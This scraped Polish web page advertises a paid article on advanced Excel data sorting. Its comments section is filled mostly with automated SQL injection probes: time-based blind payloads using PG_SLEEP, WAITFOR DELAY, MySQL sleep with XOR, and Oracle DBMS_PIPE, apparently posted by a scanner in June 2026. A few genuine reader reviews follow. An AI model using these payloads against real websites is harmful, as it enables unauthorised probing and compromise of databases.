Sposób na sortowanie danych dla zaawansowanych
Listy danych, które otrzymujemy od współpracowników, najczęściej są nieuporządkowane i praca z nimi jest utrudniona. Wartości tekstowe chcesz ułożyć w kolejności alfabetycznej, liczby od najmniejszej do największej, a daty od najpóźniejszej do najwcześniejszej. Ręczne uporządkowanie nawet niewielkiego zestawu danych zajmie sporo czasu. Co jeśli pozycji jest kilkaset lub kilka tysięcy?
Poznaj narzędzie służące do sortowania danych, które jest proste w obsłudze i jednocześnie na tyle elastyczne, że będzie można z niego skorzystać praktycznie przy każdym zadaniu.
Dowiedz się jak:
- Powrócić do pierwotnego układu danych
- Sortować według dwóch kryteriów
- Sortować listy według kategorii pracownika, z zastosowaniem listy niestandardowej
Zaloguj się, aby dodać komentarz
Opinie czytelników
~
data: 2026-06-09 09:00:49(select 198766*667891 from DUAL)
~
data: 2026-06-09 09:00:47555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
~
data: 2026-06-09 09:00:47555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
~
data: 2026-06-09 09:00:46555ffAEMpoW') OR 337=(SELECT 337 FROM PG_SLEEP(15))--
~
data: 2026-06-09 09:00:46555GX6bkgmM')) OR 284=(SELECT 284 FROM PG_SLEEP(15))--
~
data: 2026-06-09 09:00:45555-1)) OR 502=(SELECT 502 FROM PG_SLEEP(15))--
~
data: 2026-06-09 09:00:45555cwujs9jk' OR 667=(SELECT 667 FROM PG_SLEEP(15))--
~
data: 2026-06-09 09:00:44555-1) OR 244=(SELECT 244 FROM PG_SLEEP(15))--
~
data: 2026-06-09 09:00:43555Okkfv77f'; waitfor delay '0:0:15' --
~
data: 2026-06-09 09:00:43555-1 OR 125=(SELECT 125 FROM PG_SLEEP(15))--
~
data: 2026-06-09 09:00:42555-1 waitfor delay '0:0:15' --
~
data: 2026-06-09 09:00:41555-1; waitfor delay '0:0:15' --
~
data: 2026-06-09 09:00:41555-1); waitfor delay '0:0:15' --
~
data: 2026-06-09 09:00:395550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
~
data: 2026-06-09 09:00:39(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
~
data: 2026-06-09 09:00:385550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
~
data: 2026-06-09 09:00:37555*if(now()=sysdate(),sleep(15),0)
~
data: 2026-06-09 09:00:27(select 198766*667891 from DUAL)
~
data: 2026-06-09 09:00:25555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
~
data: 2026-06-09 09:00:25555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
~
data: 2026-06-09 09:00:24555GdGSsPnB') OR 552=(SELECT 552 FROM PG_SLEEP(6))--
~
data: 2026-06-09 09:00:245555PIQcDQp')) OR 24=(SELECT 24 FROM PG_SLEEP(15))--
~
data: 2026-06-09 09:00:065551VN9C2VN' OR 734=(SELECT 734 FROM PG_SLEEP(15))--
~
data: 2026-06-09 09:00:06555rMgsDIx4') OR 581=(SELECT 581 FROM PG_SLEEP(15))--
~
data: 2026-06-09 09:00:05555-1)) OR 41=(SELECT 41 FROM PG_SLEEP(15))--
~
data: 2026-06-09 09:00:04555-1 OR 52=(SELECT 52 FROM PG_SLEEP(15))--
~
data: 2026-06-09 09:00:04555-1) OR 384=(SELECT 384 FROM PG_SLEEP(15))--
~
data: 2026-06-09 09:00:03555ndWTsL0n'; waitfor delay '0:0:15' --
~
data: 2026-06-09 09:00:02555-1); waitfor delay '0:0:15' --
~
data: 2026-06-09 09:00:02555-1 waitfor delay '0:0:15' --
~
data: 2026-06-09 08:59:475550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
~
data: 2026-06-09 08:59:47(select 198766*667891 from DUAL)
~
data: 2026-06-09 08:59:47(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
~
data: 2026-06-09 08:59:47555-1; waitfor delay '0:0:15' --
~
data: 2026-06-09 08:59:46555*if(now()=sysdate(),sleep(15),0)
~
data: 2026-06-09 08:59:465550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
~
data: 2026-06-09 08:59:45555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
~
data: 2026-06-09 08:59:445552wnub5RM' OR 494=(SELECT 494 FROM PG_SLEEP(15))--
~
data: 2026-06-09 08:59:44555U5jQanrH') OR 366=(SELECT 366 FROM PG_SLEEP(15))--
~
data: 2026-06-09 08:59:44555FYXaJ3fO')) OR 840=(SELECT 840 FROM PG_SLEEP(15))--
~
data: 2026-06-09 08:59:44555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
~
data: 2026-06-09 08:59:43555-1) OR 849=(SELECT 849 FROM PG_SLEEP(15))--
~
data: 2026-06-09 08:59:43555-1)) OR 322=(SELECT 322 FROM PG_SLEEP(15))--
~
data: 2026-06-09 08:59:42555MO5NyzKz'; waitfor delay '0:0:15' --
~
data: 2026-06-09 08:59:42555-1 OR 737=(SELECT 737 FROM PG_SLEEP(15))--
~
data: 2026-06-09 08:59:41555-1); waitfor delay '0:0:15' --
~
data: 2026-06-09 08:59:41555-1 waitfor delay '0:0:15' --
~
data: 2026-06-09 08:59:40555-1; waitfor delay '0:0:15' --
~
data: 2026-06-09 08:59:395550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
~
data: 2026-06-09 08:59:39(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
~
data: 2026-06-09 08:59:38555*if(now()=sysdate(),sleep(15),0)
~
data: 2026-06-09 08:59:385550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
~
data: 2026-06-09 05:08:00(select 198766*667891 from DUAL)
~
data: 2026-06-09 05:07:33555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
~
data: 2026-06-09 05:07:32555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
~
data: 2026-06-09 05:07:31555ndwjY0GT' OR 664=(SELECT 664 FROM PG_SLEEP(15))--
~
data: 2026-06-09 05:07:31555DPqXMZvu') OR 828=(SELECT 828 FROM PG_SLEEP(15))--
~
data: 2026-06-09 05:07:31555ETHoDCac')) OR 21=(SELECT 21 FROM PG_SLEEP(15))--
~
data: 2026-06-09 05:07:30555-1 OR 141=(SELECT 141 FROM PG_SLEEP(15))--
~
data: 2026-06-09 05:07:30555-1 OR 262=(SELECT 262 FROM PG_SLEEP(15))--
~
data: 2026-06-09 05:07:30555-1) OR 701=(SELECT 701 FROM PG_SLEEP(15))--
~
data: 2026-06-09 05:07:30555-1)) OR 532=(SELECT 532 FROM PG_SLEEP(15))--
~
data: 2026-06-09 05:07:04555wYuC5Nd5'; waitfor delay '0:0:15' --
~
data: 2026-06-09 05:06:58555-1 waitfor delay '0:0:15' --
~
data: 2026-06-09 05:06:57555-1); waitfor delay '0:0:15' --
~
data: 2026-06-09 05:06:54555-1; waitfor delay '0:0:15' --
~
data: 2026-06-09 05:06:385550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
~
data: 2026-06-09 05:06:38(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
~
data: 2026-06-09 05:06:315550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
~
data: 2026-06-09 05:06:16555*if(now()=sysdate(),sleep(15),0)
~
data: 2026-06-09 03:35:44(select 198766*667891 from DUAL)
~
data: 2026-06-09 03:35:42555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
~
data: 2026-06-09 03:35:42555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
~
data: 2026-06-09 03:35:415558JADWESg')) OR 854=(SELECT 854 FROM PG_SLEEP(15))--
~
data: 2026-06-09 03:35:40555qCL9AzV3' OR 26=(SELECT 26 FROM PG_SLEEP(15))--
~
data: 2026-06-09 03:35:40555YKkuCVJP') OR 47=(SELECT 47 FROM PG_SLEEP(15))--
~
data: 2026-06-09 03:35:39555ZcOYK87s'; waitfor delay '0:0:15' --
~
data: 2026-06-09 03:35:39555-1 OR 331=(SELECT 331 FROM PG_SLEEP(15))--
~
data: 2026-06-09 03:35:39555-1) OR 147=(SELECT 147 FROM PG_SLEEP(15))--
~
data: 2026-06-09 03:35:39555-1)) OR 486=(SELECT 486 FROM PG_SLEEP(15))--
~
data: 2026-06-09 03:35:38(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
~
data: 2026-06-09 03:35:38555-1; waitfor delay '0:0:15' --
~
data: 2026-06-09 03:35:38555-1); waitfor delay '0:0:15' --
~
data: 2026-06-09 03:35:38555-1 waitfor delay '0:0:15' --
~
data: 2026-06-09 03:35:375550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
~
data: 2026-06-09 03:35:375550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
~
data: 2026-06-09 03:35:37555*if(now()=sysdate(),sleep(15),0)
~
data: 2026-06-09 03:02:32(select 198766*667891 from DUAL)
~
data: 2026-06-09 03:02:31555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
~
data: 2026-06-09 03:02:30555pJZd4QZO' OR 940=(SELECT 940 FROM PG_SLEEP(15))--
~
data: 2026-06-09 03:02:30555nw3Y2wfp' OR 594=(SELECT 594 FROM PG_SLEEP(15))--
~
data: 2026-06-09 03:02:30555QVhOmGAe') OR 74=(SELECT 74 FROM PG_SLEEP(15))--
~
data: 2026-06-09 03:02:305556u91DOmR')) OR 381=(SELECT 381 FROM PG_SLEEP(15))--
~
data: 2026-06-09 03:02:30555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
~
data: 2026-06-09 03:02:04555-1)) OR 423=(SELECT 423 FROM PG_SLEEP(15))--
~
data: 2026-06-09 03:01:58555-1 OR 80=(SELECT 80 FROM PG_SLEEP(15))--
~
data: 2026-06-09 03:01:58555-1) OR 947=(SELECT 947 FROM PG_SLEEP(15))--
~
data: 2026-06-09 03:01:42555wLBSn3cS'; waitfor delay '0:0:15' --
~
data: 2026-06-09 03:01:39555-1 waitfor delay '0:0:15' --
~
data: 2026-06-09 03:01:38555-1); waitfor delay '0:0:15' --
~
data: 2026-06-09 03:01:32555-1; waitfor delay '0:0:15' --
~
data: 2026-06-09 03:01:165550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
~
data: 2026-06-09 03:01:16(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
~
data: 2026-06-09 03:01:15555*if(now()=sysdate(),sleep(15),0)
~
data: 2026-06-09 03:01:155550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
~r.wiecek26
data: 2018-08-31 00:02:31Za mało informacji
~scholion.tesin
data: 2017-10-27 14:43:56Takie sobie
~mirojur
data: 2017-06-09 12:32:01Mogło by być więcej
~aniol_po
data: 2017-06-08 14:00:42Fajne i przydatne
~michal.tomicki.1991
data: 2017-06-05 07:43:08Zadawalający

